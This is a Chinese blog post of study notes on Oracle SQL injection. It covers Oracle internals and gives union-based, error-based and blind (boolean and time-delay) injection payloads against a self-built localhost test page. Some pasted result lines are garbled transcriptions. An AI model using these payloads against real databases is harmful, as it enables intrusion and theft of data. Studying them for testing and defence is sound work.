反弹shell


参考大佬文章
https://y4er.com/posts/oracle-sql-inject/

oracle SQL注入学习

oracle注入

基本概念

oracle和MYSQL数据库语法大致相同,结构不太一样。最大的一个特点就是oracle可以调用java代码

对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:

SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
UNDOTBS:用于事务回退等
TEMP:作为缓存空间减少内存负担
USERS:就是存储我们定义的表和数据

在oralce中每个表空间均存在一张dual表,这张表是虚表,并没有实际的存储意义,因为oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算,查询时间等SQL语句中from之后的虚表占位,也就是select 1+1 from dual

再来看Oracle中用户和权限划分:Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:

sys:相当于 Linux 下的 root 用户。为 DBA 角色
system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

基本语法

1
2
3
4
5
6
select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];

oracle要求select后必须指明要查询的表名,可以用dual
oracle使用||拼接字符串,MYSQL中为或运算
比如

1
2
select 'a'||'a' from dual;
result:aa

单引号和双引号在ORACLE中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate。
ORACLE中limit应该使用虚表中的rownum字段通过where条件判断

1
2
select * from test where rownum=1;
result:admin-password这样的一个信息

Oracle中没有空字符,’’和’null’都是null,而MySQL中认为’’仍然是一个字符串。

Oracle对数据格式要求严格,比如union select的时候,放到下文讲。

Oracle的系统表:

dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
all_tables : 当前用户有权限的表的信息
user_tables: 当前用户名下的表的信息
DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
USER_ALL_TABLES:某一用户所拥有的对象和表
DBA_TABLES >= ALL_TABLES >= USER_TABLES

信息搜集

以注入点http://localhost:8080/oracleInject/index?username=admin为例讲解。代码随便写一个jsp网页就行了

1
2
SQL语句:select * from test where username='admin'
result:id1,账号admin,密码:adminpass

获取数据库版本信息

1
2
3
4
5
6
7
8
9
10
http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +

提交
select from test where username= admin'union select 1, a. (SELECT banner FROM vsversion WHERE banner LIKE Oracle%) from dual-
id账号
密码
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
a
Iadmin
adminpass

获取操作系统版本信息

1
2
3
4
5
6
7
8
9
10
http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +


select*from test where username= admin' union select 1, a.(SELECT banner FROM VSversion where banner like TNs%) from dual
id账号
密码
1
a TNS for 64-bit Windows: Version 12.1.0.2.0 - Production
1 admin
adminpass

获取当前数据库

1
2
3
4
5
6
select * from test where username='admin' union select 1,'a'(SELECT name FROM vSdatabase) from dual
id 账号
a
密码
ORCL
I admin adminpass

获取数据库用户

1
SELECT user FROM dual;

获取所有数据库用户

1
2
SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限

获取当前用户权限

1
SELECT * FROM session_privs

获取当前用户有权限的所有数据库

1
SELECT DISTINCT owner, table_name FROM all_tables

获取表,all_tables类似于MySQL中的information_schema.tables,里面的结构可以自己构造sql语句

1
SELECT * FROM all_tables;

获取字段名

1
SELECT column_name FROM all_tab_columns

在Oracle启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。

1
SELECT SYS_CONTEXT('USERENV','SESSION_USER') from dual;

注入类型

联合注入

order by 猜字段数量,union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,比如:

1
2
3
4
http://localhost:8080/oracleInject/index?username=admin' union select null,null,null from dual -- 正常
http://localhost:8080/oracleInject/index?username=admin' union select 1,null,null from dual -- 正常说明第一个字段是数字型
http://localhost:8080/oracleInject/index?username=admin' union select 1,2,null from dual -- 第二个字段为数字时错误
http://localhost:8080/oracleInject/index?username=admin' union select 1,'asd',null from dual -- 正常 为字符串 依此类推

查数据库版本和用户名

1
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual -- 

查当前数据库

1
http://localhost:8080/oracleInject/index?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual -- 

查表,wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代

1
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual -- 

但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。
查字段

1
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual -- 

有表名字段名出数据就不说了。

报错注入

5.1 utl_inaddr.get_host_name

1
select utl_inaddr.get_host_name((select user from dual)) from dual;

11g之后,使用此函数的数据库用户需要有访问网络的权限

5.2 ctxsys.drithsx.sn

1
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

处理文本的函数,参数错误时会报错。

5.3 CTXSYS.CTX_REPORT.TOKEN_TYPE

1
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;

5.4 XMLType
我在12c中测试失败。

1
http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。

5.5 dbms_xdb_version.checkin

1
select dbms_xdb_version.checkin((select user from dual)) from dual;

5.6 dbms_xdb_version.makeversioned

1
select dbms_xdb_version.makeversioned((select user from dual)) from dual;

5.7 dbms_xdb_version.uncheckout

1
select dbms_xdb_version.uncheckout((select user from dual)) from dual;

5.8 dbms_utility.sqlid_to_sqlhash

1
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

5.9 ordsys.ord_dicom.getmappingxpath

1
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

5.10 UTL_INADDR.get_host_name

1
select UTL_INADDR.get_host_name((select user from dual)) from dual;

5.11 UTL_INADDR.get_host_address

1
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

盲注

6.1布尔盲注

布尔盲注第一种是可以使用简单的字符串比较来进行,比如:

1
http://localhost:8080/oracleInject/index?username=admin' and (select substr(user, 1, 1) from dual)='S' --

然后还有一种是通过decode配合除数为0来进行布尔盲注。

1
http://localhost:8080/oracleInject/index?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --

6.2时间盲注
大量数据

1
select count(*) from all_objects

缺点就是不准

时间延迟函数

1
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

还可以配合decode

1
select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;

文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录